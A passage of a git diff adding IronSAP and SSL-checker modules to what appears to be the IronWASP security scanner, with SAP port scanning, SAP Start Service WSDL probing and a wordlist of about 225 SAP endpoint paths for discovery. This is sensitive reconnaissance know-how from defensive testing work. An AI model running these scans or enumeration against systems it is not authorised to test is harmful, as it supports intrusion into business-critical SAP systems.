ps = PortScanner(self.ip,str(self.portscanlist[lin]),3000) + res = ps.Scan() + self.dbdict[lin] = res + self.dbdict["ip"] = self.ip + self.dbdict["actid"]= self.actid + j = IronThread.Run(self.portscanresult) + + def portscanresult(self): + dbw = db2.dbwrite(self.isap) + dbw.portscanwrite(self.dbdict) \ No newline at end of file diff --git a/Iron/bin/Debug/modules/IronSAP/IronSAPCore/start.py b/Iron/bin/Debug/modules/IronSAP/IronSAPCore/start.py new file mode 100644 index 0000000..6b916d8 --- /dev/null +++ b/Iron/bin/Debug/modules/IronSAP/IronSAPCore/start.py @@ -0,0 +1,56 @@ +import clr +clr.AddReference("System") +clr.AddReference("System.Data") +clr.AddReference("System.Data.SQLite") + +import System +from System.Data.SQLite import * +import datetime +import ping as a2 +import db as db2 +import portscan as ps +from IronWASP import * + + +class begin(): + def __init__(self, isap): + #print "Start" + self.isap = isap + self.ipadd = self.isap.target + #if self.isap.perform_attack == True: + # GlobalStore.Put("Attack","YES") + #if self.isap.verbose == True: + # GlobalStore.Put("Verbose","YES") + if self.isap.perform_attack: + self.isap.print_out("Attack Mode : YES", 0) + if self.isap.verbose: + self.isap.print_out("Verbose Mode : YES", 0) + activeid = 1 + self.pinghost(activeid) + + + def pinghost(self,activeid): + ping = a2.PingCheck(self.ipadd,activeid,self.isap) + pingres = ping.ping() + #Now Lets send the ping results to the database recorder. + #dbw = db2.dbwrite(self.isap) + #dbw.pingwrite(pingres) + + if pingres[2] == "Success": + self.isap.print_out(self.ipadd + " is alive ...", 0) + self.portscancontroller("Success") + else: + self.isap.print_out("Unable to ping " + self.ipadd + " but still proceeding with port scan ...", 0) + self.portscancontroller("Fail") + + def portscancontroller(self,result): + self.isap.print_out("Port Scan started. This might take a few minutes, please be patient .... ",0) + self.actid = 1 + portScan = ps.portscan(self.ipadd,self.actid,self.isap) + portScan.controller() + + + + + + \ No newline at end of file diff --git a/Iron/bin/Debug/modules/IronSAP/IronSAPCore/webservices.py b/Iron/bin/Debug/modules/IronSAP/IronSAPCore/webservices.py new file mode 100644 index 0000000..feeafb6 --- /dev/null +++ b/Iron/bin/Debug/modules/IronSAP/IronSAPCore/webservices.py @@ -0,0 +1,119 @@ +from IronWASP import * +import clr +clr.AddReference("System.Web.Services") +clr.AddReference("System.Xml") + +from System.Web.Services.Description import ( + ServiceDescription, ServiceDescriptionImporter +) +from System.Web.Services.Protocols import SoapHttpClientProtocol +from System.IO import MemoryStream +from System.Net import WebClient + +from System.CodeDom import ( + CodeCompileUnit, CodeNamespace +) +from System.CodeDom.Compiler import CodeDomProvider, CompilerParameters +from System.Xml.Serialization import CodeGenerationOptions + +class webservices: + + + def returnres(self,op): + proto = "http://" + #f = open("SAPstart.txt") + ip = self.values["ip"] + for x in self.ports: + #print x + try: + Request("http://" + ip + ":" + str(x)).Send() + except: + try: + Request("https://" + ip + ":" + str(x)).Send() + proto = "https://" + except: + pass + url = proto + ip + ":" + str(x) + "/SAPControl.cgi" + strin = self.strings[op] + req = Request("POST",url,strin) + resp = req.Send() + self.isap.print_out(resp,3) + #f.write(resp) + #f.close() + + + + def CreateWebServiceFromWsdl(self,wsdl): + sd = ServiceDescription.Read(MemoryStream(wsdl)) + ptcount= sd.PortTypes.Count + self.isap.print_out("Port Types:"+str(ptcount),3) + for x in range(0,ptcount): + self.isap.print_out(str(sd.PortTypes[x].Name),3) + portoperations = sd.PortTypes[x].Operations + portoperationscount = portoperations.Count + self.isap.print_out("Operations"+str(portoperationscount),3) + for j in range(0,portoperationscount): + self.isap.print_out(str(portoperations[j].Name),3) + self.returnres("GetProcessList") + + def GetWebservice(self,url): + data = self.GetBytes(url) + assembly = self.CreateWebServiceFromWsdl(data) + def GetBytes(self,url): + return WebClient().DownloadData(url) + + def __init__(self,values,isap): + self.isap=isap + self.values = values + self.ports =[] + self.operations=[] + self.strings={"ParameterValue":'true',"GetProcessList":'true'} + + def start(self): + self.isap.print_out("Starting SAP START WebService Analysis"+"\n",0) + startserviceports = [] + for port in self.values["Start Service"]: + startserviceports.append(port) + self.ports.append(port) + #self.isap.print_out(len(startserviceports),0) + if len(startserviceports) > 0: + self.analysis(startserviceports) + else: + self.isap.print_out("NO SAP START ports were found ",3) + self.isap.stopper() + + + def analysis(self,ports): + ip = self.values["ip"] + for port in ports: + self.isap.print_out("Port Type/Operations for For for Port"+str(port)+"\n") + proto = "http://" + try: + Request("http://" + str(ip) + ":" + str(port)).Send() + except: + try: + Request("https://" + str(ip) + ":" + str(port)).Send() + proto = "https://" + except: + pass + + url = proto + str(ip) + ":" + str(port) + "/?wsdl" + req = Request(url) + resp = req.Send() + if resp.Code==200: + pr = PluginResult(req.Host) + pr.Title = "SAP Start Service (MMC) was found" + pr.Summary = "SAP Start service could be used to retrive a lot of business critical data from the SAP system" + pr.Plugin = " " + pr.Triggers.Add("",req,"",resp) + g = PluginResultSeverity.High + h = PluginResultConfidence.High + pr.Severity = g + pr.Confidence =h + pr.Report() + self.GetWebservice(url) +# req = Request(url) +# req.Headers.Set("User-Agent","Mozilla/5.0 (Windows NT 5.1; rv:14.0) Gecko/20100101 Firefox/14.0.1") +# resp = req.Send() +# if resp.Code==200: +# print resp \ No newline at end of file diff --git a/Iron/bin/Debug/modules/IronSAP/sapurl.txt b/Iron/bin/Debug/modules/IronSAP/sapurl.txt new file mode 100644 index 0000000..1ee785e --- /dev/null +++ b/Iron/bin/Debug/modules/IronSAP/sapurl.txt @@ -0,0 +1,225 @@ +/rep/build_info.html +/rep/build_info.jsp +/run/build_info.html +/run/build_info.jsp +/rwb/version.html +/sap/bc/bsp/esh_os_service/favicon.gif +/sap/bc/bsp/sap +/sap/bc/bsp/sap/alertinbox +/sap/bc/bsp/sap/bsp_dlc_frcmp +/sap/bc/bsp/sap/bsp_veri +/sap/bc/bsp/sap/bsp_verificatio +/sap/bc/bsp/sap/bsp_wd_base +/sap/bc/bsp/sap/bspwd_basics +/sap/bc/bsp/sap/certmap +/sap/bc/bsp/sap/certreq +/sap/bc/bsp/sap/crm_bsp_frame +/sap/bc/bsp/sap/crmcmp_bpident/ +/sap/bc/bsp/sap/crmcmp_brfcase +/sap/bc/bsp/sap/crmcmp_hdr +/sap/bc/bsp/sap/crmcmp_hdr_std +/sap/bc/bsp/sap/crmcmp_ic_frame +/sap/bc/bsp/sap/crm_thtmlb_util +/sap/bc/bsp/sap/crm_ui_frame +/sap/bc/bsp/sap/crm_ui_start +/sap/bc/bsp/sap/esh_sap_link +/sap/bc/bsp/sap/esh_sapgui_exe +/sap/bc/bsp/sap/graph_bsp_test +/sap/bc/bsp/sap/graph_bsp_test/Mimes +/sap/bc/bsp/sap/gsbirp +/sap/bc/bsp/sap/htmlb_samples +/sap/bc/bsp/sap/iccmp_bp_cnfirm +/sap/bc/bsp/sap/iccmp_hdr_cntnr +/sap/bc/bsp/sap/iccmp_hdr_cntnt +/sap/bc/bsp/sap/iccmp_header +/sap/bc/bsp/sap/iccmp_ssc_ll/ +/sap/bc/bsp/sap/ic_frw_notify +/sap/bc/bsp/sap/it00 +/sap/bc/bsp/sap/public/bc +/sap/bc/bsp/sap/public/graphics +/sap/bc/bsp/sap/sam_demo +/sap/bc/bsp/sap/sam_notifying +/sap/bc/bsp/sap/sam_sess_queue +/sap/bc/bsp/sap/sbspext_htmlb +/sap/bc/bsp/sap/sbspext_xhtmlb +/sap/bc/bsp/sap/spi_admin +/sap/bc/bsp/sap/spi_monitor +/sap/bc/bsp/sap/sxms_alertrules +/sap/bc/bsp/sap/system +/sap/bc/bsp/sap/thtmlb_scripts +/sap/bc/bsp/sap/thtmlb_styles +/sap/bc/bsp/sap/uicmp_ltx +/sap/bc/bsp/sap/xmb_bsp_log +/sap/bc/contentserver +/sap/bc/echo +/sap/bc/error +/sap/bc/FormToRfc +/sap/bc/graphics/net +/sap/bc/gui/sap/its/CERTREQ +/sap/bc/gui/sap/its/designs +/sap/bc/gui/sap/its/webgui +/sap/bc/IDoc_XML +/sap/bc/ping +/sap/bc/report +/sap/bc/soap/ici +/sap/bc/soap/rfc +/sap/bc/srt/IDoc +/sap/bc/wdvd +/sap/bc/webdynpro/sap/apb_launchpad +/sap/bc/webdynpro/sap/apb_launchpad_nwbc +/sap/bc/webdynpro/sap/apb_lpd_light_start +/sap/bc/webdynpro/sap/apb_lpd_start_url +/sap/bc/webdynpro/sap/application_exit +/sap/bc/webdynpro/sap/appl_log_trc_viewer +/sap/bc/webdynpro/sap/appl_soap_management +/sap/bc/webdynpro/sap/ccmsbi_wast_extr_testenv +/sap/bc/webdynpro/sap/cnp_light_test +/sap/bc/webdynpro/sap/configure_application +/sap/bc/webdynpro/sap/configure_component +/sap/bc/webdynpro/sap/esh_search_results.ui +/sap/bc/webdynpro/sap/esh_adm_smoketest_ui +/sap/bc/webdynpro/sap/sh_adm_smoketest_files +/sap/bc/webdynpro/sap/esh_eng_modelling +/sap/bc/webdynpro/sap/esh_admin_ui_component +/sap/bc/webdynpro/sap/wdhc_application +/sap/bc/webdynpro/sap/wd_analyze_config_appl +/sap/bc/webdynpro/sap/wd_analyze_config_comp +/sap/bc/webdynpro/sap/wd_analyze_config_user +/sap/bc/webdynpro/sap/WDR_TEST_ADOBE +/sap/bc/webdynpro/sap/WDR_TEST_EVENTS +/sap/bc/webdynpro/sap/wdr_test_popups_rt +/sap/bc/webdynpro/sap/WDR_TEST_TABLE +/sap/bc/webdynpro/sap/wdr_test_ui_elements +/sap/bc/webdynpro/sap/WDR_TEST_WINDOW_ERROR +/sap/bc/webrfc +/sap/bc/xrfc +/sap/bc/xrfc_test +/sap/es/cockpit +/sap/es/getdocument +/sap/es/opensearch +/sap/es/opensearch/description +/sap/es/opensearch/list +/sap/es/opensearch/search +/sap/es/saplink +/sap/es/search +/sap/es/redirect +/sap/crm +/sap/public/bc +/sap/public/bc/icons +/sap/public/bc/icons_rtl +/sap/public/bc/its/mimes +/sap/public/bc/its/mimes/system/SL/page/hourglass.html +/sap/public/bc/its/mobile/itsmobile00 +/sap/public/bc/its/mobile/itsmobile01 +/sap/public/bc/its/mobile/rfid +/sap/public/bc/its/mobile/start +/sap/public/bc/its/mobile/test +/sap/public/bc/NWDEMO_MODEL +/sap/public/bc/NW_ESH_TST_AUTO +/sap/public/bc/pictograms +/sap/public/bc/sicf_login_run +/sap/public/bc/trex +/sap/public/bc/ur +/sap/public/bc/wdtracetool +/sap/public/bc/webdynpro/adobechallenge +/sap/public/bc/webdynpro/mimes +/sap/public/bc/webdynpro/ssr +/sap/public/bc/webdynpro/viewdesigner +/sap/public/bc/webicons +/sap/public/bc/workflow +/sap/public/bc/workflow/shortcut +/sap/public/bsp/sap +/sap/public/bsp/sap/htmlb +/sap/public/bsp/sap/public +/sap/public/bsp/sap/public/bc +/sap/public/bsp/sap/public/faa +/sap/public/bsp/sap/public/graphics +/sap/public/bsp/sap/public/graphics/jnet_handler +/sap/public/bsp/sap/public/graphics/mimes +/sap/public/bsp/sap/system +/sap/public/bsp/sap/system_public +/sap/public/icf_check +/sap/public/icf_info +/sap/public/icf_info/icr_groups +/sap/public/icf_info/icr_urlprefix +/sap/public/icf_info/logon_groups +/sap/public/icf_info/urlprefix +/sap/public/icman +/sap/public/info +/sap/public/myssocntl +/sap/public/ping +/sap/webcuif +/sap/admin/public/index.html +/webdynpro/dispatcher +/useradmin +/mmr/mmr/MMRUI.html +/utl/UsageTypesInfo +/irj/portal +/index.html +/wsnavigator/jsps/index.jsp +/webdynpro/welcome/Welcome.jsp +/uddiclient/jsps/index.jsp +/uddiclient/process/ +/nwa +/logon/logonServlet +/monitoring/SystemInfo +/htmlb/index.html +/htmlb/moresamples.html +/htmlb/samples.html +/htmlb/docs/api/index.html +/htmlb/jsp/index.jsp +/AdobeDocumentServices/Config?wsdl +/apidocs/allclasses-frame.html +/apidocs/com/sap/engine/deploy/manager/LoginInfo.html +/bcb/bcbadmHome.jsp +/bcb/bcbadmNavigation.jsp +/bcb/bcbadmStart.jsp +/BizcCommLayerAuthoring/Config?wsdl +/CAFDataService/Config?wsdl +/CMSRTS/Config?wsdl +/GRMGWSTest/service?wsdl +/IciActionItemService/IciActionItemConf?wsdl +/IciChatService/IciChatConf?wsdl +/IciEventService/IciEventConf?wsdl +/IciFolderService/IciFolderConf?wsdl +/IciItemService/IciItemConf?wsdl +/IciMessageService/IciMessageConf?wsdl +/IciMonitorService/IciMonitorConf?wsdl +/IciPhoneCallService/IciPhoneCallConf?wsdl +/IciSystemService/IciSystemConf?wsdl +/IciUserService/IciUserConf?wsdl +/logon/index.jsp +/logon/logonServlet?redirectURL=%Fuseradmin%FuserAdminServlet +/logon/logonServlet?redirectURL=%FVC%Fdefault.jsp +/main.html +/meSync/HttpGRMGTest.html +/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_dovr_ui +/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_ind_ext +/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_ind_int +/sap/bc/webdynpro/sap/hrrcf_a_appls +/sap/bc/webdynpro/sap/hrrcf_a_applwizard +/sap/bc/webdynpro/sap/hrrcf_a_candidate_registration +/sap/bc/webdynpro/sap/hrrcf_a_candidate_verification +/sap/bc/webdynpro/sap/hrrcf_a_dataoverview +/sap/bc/webdynpro/sap/hrrcf_a_draft_applications +/sap/bc/webdynpro/sap/hrrcf_a_new_verif_mail +/sap/bc/webdynpro/sap/hrrcf_a_posting_apply +/sap/bc/webdynpro/sap/hrrcf_a_psett_ext +/sap/bc/webdynpro/sap/hrrcf_a_psett_int +/sap/bc/webdynpro/sap/hrrcf_a_pw_via_email_extern +/sap/bc/webdynpro/sap/hrrcf_a_pw_via_email_intern +/sap/bc/webdynpro/sap/hrrcf_a_qa_mss +/sap/bc/webdynpro/sap/hrrcf_a_refcode_srch +/sap/bc/webdynpro/sap/hrrcf_a_refcode_srch_int +/sap/bc/webdynpro/sap/hrrcf_a_req_assess +/sap/bc/webdynpro/sap/hrrcf_a_requi_monitor +/sap/bc/webdynpro/sap/hrrcf_a_substitution_admin +/sap/bc/webdynpro/sap/hrrcf_a_substitution_manager +/sap/bc/webdynpro/sap/hrrcf_a_tp_assess +/sap/bc/webdynpro/sap/hrrcf_a_unregemp_job_search +/sap/bc/webdynpro/sap/hrrcf_a_unreg_job_search +/sap/bc/webdynpro/sap/hrrcf_a_unverified_cand +/sap/bc/webdynpro/sap/sh_adm_smoketest_files +/sap/public/bc/its/designs +/top.html +/WSConnector/Config?wsdl diff --git a/Iron/bin/Debug/modules/SSLSecurityChecker/SSLSecurityChecker.rb b/Iron/bin/Debug/modules/SSLSecurityChecker/SSLSecurityChecker.rb new file mode 100644 index 0000000..e7e8aea --- /dev/null +++ b/Iron/bin/Debug/modules/SSLSecurityChecker/SSLSecurityChecker.rb @@ -0,0 +1,197 @@ +require "TestSSLServer.dll" +include IronWASP + +#Extend the RubyModule base class +class SSLSecurityChecker < RubyModule + + # @console + + #Implement the GetInstance method of RubyModule class. This method is used to create new instances of this module. + def GetInstance + m = SSLSecurityChecker.new + m.name = 'SSLSecurityChecker' + return m + end + + + #Implement the StartModule method of Module class. This is the method called by IronWASP when user tries to launch the moduule from the UI. + def StartModule + # #IronConsole is a CLI window where output can be printed and user input accepted + # @console = IronConsole.new + # @console.set_title('Test SSL Server') + # @console.show_console + # #'print_line' prints text at the CLI. 'print' prints text without adding a newline at the end. + # @console.print_line('[*] Test SSL Server has started') + # @console.print('[*] Enter target URL: ') + # #'read_line' accepts a single line input from the user through the CLI. 'read' accepts multi-line input. + # url = @console.read_line() + # @console.print_line(url) + # @console.print_line('[*] Target scanned!') + @tss = TestSSLServer::TestSSLServer.new + startUI + end +end + +def startUI + ui = ModUi.new() + ui.Size = ModUiTools.get_size_definition(584,450) + ui.Text = Tools.base64_decode('U1NMIFNlY3VyaXR5IENoZWNrZXI=') + ui.Icon = ModUiTools.get_icon_definition('AAABAAYAICAQAAAAAADoAgAAZgAAABAQEAAAAAAAKAEAAE4DAAAgIAAAAQAIAKgIAAB2BAAAEBAAAAEACABoBQAAHg0AACAgAAABACAAqBAAAIYSAAAQEAAAAQAgAGgEAAAuIwAAKAAAACAAAABAAAAAAQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAACAgACAAAAAgACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIoiIiIiIiIiIiIiIiIiIiIiCIigiIiIozMzMzMzMyCIogiIoIiIiKM7m5ubm5sgiKIIiKCIiIijObm5ubm7IIiiCIigiIiIozubm5ubmyCIogiIoIiIiKM5ubm5ubsgiKIIiKCIiIijO5ubm5ubIIiiIiIiIiIiIzm5ubm5uyCIogRERERERGM7u7u7u7sgiKIHZWVlZWRjMzMzMzMzIIiiB1ZWVlZUYiIiIiIiIiIiIgdlZWVlZGDMzMzMzMzMzOIHVlZWVlRg/uLi4uLi4uDiB2VlZWVkYP7uLi4uLi4s4gdWVlZWVGD+4uLi4uLi4OIHZWVlZWRg/u4uLi4uLiziB1ZWVlZUYP7i4uLi4uLg4gdlZWVlZGD+7i4uLi4uLOIHVlZWVlRg/uLi4uLi4uDiB3d3d3d0YP7uLi4uLi4s4gRERERERGD+4uLi4uLi4OIiIiIiIiIg/u4uLi4uLiziCIiIiIiIoP7i4uLi4uLg4giIiIiIiKD+7i4uLi4uLOIIiIiIiIig/uLi4uLi4uDiCIiIiIiIoP7u7u7u7u7s4giIiIiIiKD//////////OIIiIiIiIigzMzMzMzMzMziIiIiIiIiIiIiIiIiIiIiIIiIiIiIiIiIiIiIiIiIiIv//////////AAAAAHv4AA57+AAOe/gADnv4AA57+AAOe/gADgAAAA4AAAAOAAAADgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH/4AAB/+AAAf/gAAH/4AAB/+AAAf/gAAAAAAAD/////KAAAABAAAAAgAAAAAQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAACAgACAAAAAgACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAiIiIiIiIiIoiIiIiIiIiIgigijMzMyCiCKCKM5mbIKIiIiIzu7sgogRERjMzMyCiB2ZGIiIiIiIHZkYMzMzM4gdmRg/u7uziB3dGD+7u7OIEREYP7u7s4iIiIg/u7uziCIiKD+7u7OIIiIoP///84giIigzMzMziIiIiIiIiIiP//KCIAACjObALm5mwCIigAAoiIAAKIzgAAbm4AACIoAAAREQAAGM4AAO7uAAAiKHwAWVl8ABjMfADMzAAAIigoAAAAIAAAAEAAAAABAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADA3MAA8MqmAKo/KgD/PyoAAF8qAFVfKgCqXyoA/18qAAB/KgBVfyoAqn8qAP9/KgAAnyoAVZ8qAKqfKgD/nyoAAL8qAFW/KgCqvyoA/78qAADfKgBV3yoAqt8qAP/fKgAA/yoAVf8qAKr/KgD//yoAAABVAFUAVQCqAFUA/wBVAAAfVQBVH1UAqh9VAP8fVQAAP1UAVT9VAKo/VQD/P1UAAF9VAFVfVQCqX1UA/19VAAB/VQBVf1UAqn9VAP9/VQAAn1UAVZ9VAKqfVQD/n1UAAL9VAFW/VQCqv1UA/79VAADfVQBV31UAqt9VAP/fVQAA/1UAVf9VAKr/VQD//1UAAAB/AFUAfwCqAH8A/wB/AAAffwBVH38Aqh9/AP8ffwAAP38AVT9/AKo/fwD/P38AAF9/AFVffwCqX38A/19/AAB/fwBVf38Aqn9/AP9/fwAAn38AVZ9/AKqffwD/n38AAL9/AFW/fwCqv38A/79/AADffwBV338Aqt9/AP/ffwAA/38AVf9/AKr/fwD//38AAACqAFUAqgCqAKoA/wCqAAAfqgBVH6oAqh+qAP8fqgAAP6oAVT+qAKo/qgD/P6oAAF+qAFVfqgCqX6oA/1+qAAB/qgBVf6oAqn+qAP9/qgAAn6oAVZ+qAKqfqgD/n6oAAL+qAFW/qgCqv6oA/7+qAADfqgBV36oAqt+qAP/fqgAA/6oAVf+qAKr/qgD//6oAAADUAFUA1ACqANQA/wDUAAAf1ABVH9QAqh/UAP8f1AAAP9QAVT/UAKo/1AD/P9QAAF/UAFVf1ACqX9QA/1/UAAB/1ABVf9QAqn/UAP9/1AAAn9QAVZ/UAKqf1AD/n9QAAL/UAFW/1ACqv9QA/7/UAADf1ABV39QAqt/UAP/f1AAA/9QAVf/UAKr/1AD//9QAVQD/AKoA/wAAH/8AVR//AKof/wD/H/8AAD//AFU//wCqP/8A/z//AABf/wBVX/8Aql//AP9f/wAAf/8AVX//AKp//wD/f/8AAJ//AFWf/wCqn/8A/5//AAC//wBVv/8Aqr//AP+//wAA3/8AVd//AKrf/wD/3/8AVf//AKr//wD/zMwA/8z/AP//MwD//2YA//+ZAP//zAAAfwAAVX8AAKp/AAD/fwAAAJ8AAFWfAACqnwAA/58AAAC/AABVvwAAqr8AAP+/AAAA3wAAVd8AAKrfAAD/3wAAVf8AAKr/AAAAACoAVQAqAKoAKgD/ACoAAB8qAFUfKgCqHyoA/x8qAAA/KgBVPyoA8Pv/AKSgoACAgIAAAAD/AAD/AAAA//8A/wAAAAAAAAD//wAA////AP39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39qoYIqoYIhqoIqgiqCaoIqgiqhqqGhoYIhoYIqv39/f0I/f39/ar9/f39/YY2Ng4yDg4ODgoOCgoKCgqG/f39/Yb9/f39CP39/f39qjY7Ozs3Nzc3NjMSMjIOCqr9/f39qv39/f2G/f39/f0IN19fOzs3Nzc3NjcODg4KCP39/f0I/f39/ar9/f39/ao6X19fXzs7Ozc3NzY3NgqG/f39/Yb9/f39CP39/f39hl9jY19jX187Ozs7Nzc3Dqr9/f39qv39/f2G/f39/f0IOodjh19jX19fXztfOzcOCP39/f0ICAmqCAiqCKoICapfCYdjh2ODY19fXzs7Ow6q/f39/QhITEwoSCUoKSQoqmMJCYcJCWNjY2NfY19fNgj9/f39qkyZmZmYmJRwlCmqX19fXl9fX186WzY3Njc2gv39/f0JcJ2dmZmZlJmUJAmqCaoJhggIqggICKoIqggI/f39/YZwnp2dnZmZmJVMqnx8fHx8fFR8VHhUVFRUVKr9/f39CHChoZ2dnZ2ZmUwJfKSkxqSkxqSkpKSkpKBUCP39/f2qcKLDoqGdnZ2ZTKp8ysakxqSkxqSkxqSkpFSq/f39/QiUpqbDoqHEnZ1Mq3ykqMakyqSkxqSkpKSkVAj9/f39hpTIyKbHoqGhoXAIfMrLpMqkxqSkxqTGpKRUqv39/f0IlMymyKbIpcShcAh8y6jKpMqkxsqkpKSkxlQI/f39/aqUzMzMyKbIpqJwqnzLy8qpxsqkpMakxqSkeAj9/f39CJSUlJSUlJSUlJQJgMupy8qpysqkyqSkxqRUqv39/f2GCKoIqgiqCKoIhgigrcvPqcuoy8qkxsqkxnyG/f39/ar9/f39/f39/f39qnzPz6nLy8uoyqnKpKTKVAj9/f39CP39/f39/f39/f0IfNDPz8+py8upyqjGyqR8hv39/f2G/f39/f39/f39/Qik0K7P0M+ty8vLy6jKpXyq/f39/ar9/f39/f39/f39CHzQ09Ctz8/Pqcupy6jKeAj9/f39CP39/f39/f39/f2qoNPQ0NPQ0M/Qz8vLy6l8CP39/f2G/f39/f39/f39/QmkfKR8oHx8fHx8fHx8fHyG/f39/aoIqgiqCKoIqgiqCKoIqgiqCKoIqgiqCKoIqgj9/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f39/f3////////////////AAAAD3vgAA974AAPe+AAD3vgAA974AAPe+AADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA9/4AAPf+AAD3/gAA9/4AAPf+AAD3/gAA8AAAAP//////////ygAAAAQAAAAIAAAAAEACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDcwADwyqYAqj8qAP8/KgAAXyoAVV8qAKpfKgD/XyoAAH8qAFV/KgCqfyoA/38qAACfKgBVnyoAqp8qAP+fKgAAvyoAVb8qAKq/KgD/vyoAAN8qAFXfKgCq3yoA/98qAAD/KgBV/yoAqv8qAP//KgAAAFUAVQBVAKoAVQD/AFUAAB9VAFUfVQCqH1UA/x9VAAA/VQBVP1UAqj9VAP8/VQAAX1UAVV9VAKpfVQD/X1UAAH9VAFV/VQCqf1UA/39VAACfVQBVn1UAqp9VAP+fVQAAv1UAVb9VAKq/VQD/v1UAAN9VAFXfVQCq31UA/99VAAD/VQBV/1UAqv9VAP//VQAAAH8AVQB/AKoAfwD/AH8AAB9/AFUffwCqH38A/x9/AAA/fwBVP38Aqj9/AP8/fwAAX38AVV9/AKpffwD/X38AAH9/AFV/fwCqf38A/39/AACffwBVn38Aqp9/AP+ffwAAv38AVb9/AKq/fwD/v38AAN9/AFXffwCq338A/99/AAD/fwBV/38Aqv9/AP//fwAAAKoAVQCqAKoAqgD/AKoAAB+qAFUfqgCqH6oA/x+qAAA/qgBVP6oAqj+qAP8/qgAAX6oAVV+qAKpfqgD/X6oAAH+qAFV/qgCqf6oA/3+qAACfqgBVn6oAqp+qAP+fqgAAv6oAVb+qAKq/qgD/v6oAAN+qAFXfqgCq36oA/9+qAAD/qgBV/6oAqv+qAP//qgAAANQAVQDUAKoA1AD/ANQAAB/UAFUf1ACqH9QA/x/UAAA/1ABVP9QAqj/UAP8/1AAAX9QAVV/UAKpf1AD/X9QAAH/UAFV/1ACqf9QA/3/UAACf1ABVn9QAqp/UAP+f1AAAv9QAVb/UAKq/1AD/v9QAAN/UAFXf1ACq39QA/9/UAAD/1ABV/9QAqv/UAP//1ABVAP8AqgD/AAAf/wBVH/8Aqh//AP8f/wAAP/8AVT//AKo//wD/P/8AAF//AFVf/wCqX/8A/1//AAB//wBVf/8Aqn//AP9//wAAn/8AVZ//AKqf/wD/n/8AAL//AFW//wCqv/8A/7//AADf/wBV3/8Aqt//AP/f/wBV//8Aqv//AP/MzAD/zP8A//8zAP//ZgD//5kA///MAAB/AABVfwAAqn8AAP9/AAAAnwAAVZ8AAKqfAAD/nwAAAL8AAFW/AACqvwAA/78AAADfAABV3wAAqt8AAP/fAABV/wAAqv8AAAAAKgBVACoAqgAqAP8AKgAAHyoAVR8qAKofKgD/HyoAAD8qAFU/KgDw+/8ApKCgAICAgAAAAP8AAP8AAAD//wD/AAAAAAAAAP//AAD///8A/f39/f39/f39/f39/f39/f0IhgiqCKoICKoICKaGCP39qv39hv2GNg4ODjII/ar9/Yb9/ar9qjdjXzsOCP2G/f0IhquGCAleCWNfNob9qv39qkxMTEgIX19fX18I/Qj9/QhwnZlMqoYIqggIqgiG/f2qcKadcAl8fFQDVFQDqv39CHDMpnCqfMvLysrKVAj9/QiUlHBwCYDPy8/LylSG/f2GqoYIqgig0M/Py8t8qv39CP39/f2GpNDQ0M/PfAn9/ar9/f39qqT20NDQ0Hyq/f2G/f39/QmkpKSloKR8CP39CKoIhgiqCIYIqgiGCKr9/f39/f39/f39/f39/f39/f//hv2AAf0ItAX9/bQFX2OABWNfgAU7O4ABNzeAAf39gAGq/YAB/YaAAf39vAE6h7wBX2O8AV9fgAE7N////f0oAAAAIAAAAEAAAAABACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADCv8H/wr/B/8K/wf/Cv8H/wr/B/8K/wf/Cv8H/wr/B/8K/wf/Cv8H/wr/B/8K/wf/Cv8H/wr/B/8K/wf/Cv8H/wr/B/8K/wf/Cv8H/wr/B/8K/wf/Cv8H/wr/B/8K/wf/Cv8H/wr/B/8K/wf/Cv8H/AAAAAAAAAAAAAAAAAAAAAMK/wf8AAAAAAAAAAAAAAAAAAAAAwr/B/wAAAAAAAAAAAAAAAAAAAAAAAAAAwr/B/7Z3Sf+zckT/rm0//6toO/+nYjb/pF4y/6BZLv+dVCr/mlEn/5dNI/+VSiH/kkce/5FEHP+RRBz/kUUb/8K/wf8AAAAAAAAAAAAAAAAAAAAAwr/B/wAAAAAAAAAAAAAAAAAAAADCv8H/AAAAAAAAAAAAAAAAAAAAAAAAAADCv8H/v4JS//+aZv//lWD/+5Bc//WLV//uh1P/54FO/997S//Wdkb/zXBD/8VrQP+9Zj3/tGI5/65dN/+RRRz/wr/B/wAAAAAAAAAAA